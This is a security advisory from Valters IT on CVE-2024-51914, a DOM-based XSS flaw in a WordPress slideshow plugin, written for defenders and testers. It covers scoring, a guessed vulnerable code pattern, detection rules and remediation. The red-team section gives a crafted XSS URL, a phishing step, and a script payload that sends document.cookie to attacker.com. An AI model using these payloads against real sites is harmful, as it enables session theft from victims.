CVE-2024-51914

Executive Summary

CVE-2024-51914 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "drop in image slideshow gallery" by Gopiplus, affecting versions up to and including 12.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The CVSS score is 6.5 (Medium), with a low attack complexity and no privileges required, but user interaction is needed. The EPSS score is 0.0%, indicating low exploitation likelihood currently. No public proof-of-concept (PoC) or patch is available at this time.

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin files by checking checksums provided by WordPress.org. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a public PoC and low EPSS score reduce immediate risk. However, the vulnerability is unpatched, making it a potential target for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the drop-in-image-slideshow-gallery WordPress plugin. The plugin fails to sanitize user input before inserting it into the DOM via JavaScript. An attacker can craft a URL with a malicious payload in a parameter (e.g., ?slideshow_id=<script>alert(1)</script>) that, when processed by the plugin's JavaScript, executes the script in the victim's browser.

The vulnerable code likely uses document.write, innerHTML, or eval with unsanitized input from location.hash, location.search, or document.URL. The plugin's JavaScript reads the parameter and directly injects it into the page without escaping.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (JavaScript):

var slideshowId = window.location.hash.substring(1);
document.getElementById('slideshow-container').innerHTML = '<img src="' + slideshowId + '">';

Patched Code (Hypothetical):

var slideshowId = window.location.hash.substring(1);
var sanitizedId = slideshowId.replace(/[<>"']/g, '');
document.getElementById('slideshow-container').innerHTML = '<img src="' + sanitizedId + '">';

Or better, using textContent instead of innerHTML:

var slideshowId = window.location.hash.substring(1);
var img = document.createElement('img');
img.src = slideshowId;
document.getElementById('slideshow-container').appendChild(img);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 12.0) installed and activated.
• A victim user with a modern browser.

Exploitation Steps:

1. Craft a malicious URL:

   http://target-site.com/?slideshow_id=<img src=x onerror=alert('XSS')>
   

2. Send the URL to the victim via email, social engineering, or a phishing campaign.
3. When the victim clicks the link, the plugin's JavaScript executes the payload, triggering the XSS.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor web server logs for requests containing <script, onerror, onload, or other XSS indicators in query parameters.
• Use a Web Application Firewall (WAF) to block requests with suspicious patterns.

Mitigation:

• Disable the plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use input validation and output encoding on the server side if possible.

Indicators of Compromise (IOCs)

• URL Patterns: /?slideshow_id=<script>, /?slideshow_id=<img, /?slideshow_id=javascript:
• HTTP Request Parameters: slideshow_id containing HTML/JavaScript code.
• Client-Side Artifacts: JavaScript execution of alert(), fetch(), or document.cookie access.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2024_51914_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS in drop-in-image-slideshow-gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51914"
    strings:
        $xss1 = /slideshow_id=.*<script/i
        $xss2 = /slideshow_id=.*<img.*onerror/i
        $xss3 = /slideshow_id=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-51914 DOM XSS in drop-in-image-slideshow-gallery
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit DOM-based XSS in the WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'slideshow_id=<script'
            - 'slideshow_id=<img'
            - 'slideshow_id=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of slideshow_id parameter with safe values
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51914 DOM XSS in drop-in-image-slideshow-gallery"; flow:to_server,established; content:"slideshow_id"; http_uri; pcre:"/slideshow_id=(<script|<img|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the "drop in image slideshow gallery" plugin until a patch is released.
2. Workaround: If the plugin is critical, implement a WAF rule to block requests containing slideshow_id with HTML/JavaScript characters.
3. Long-term: Monitor the WordPress plugin repository for updates. Apply the patch as soon as it becomes available.
4. User Education: Train users not to click suspicious links, especially those containing query parameters.

Valters IT
Securing Digital Frontiers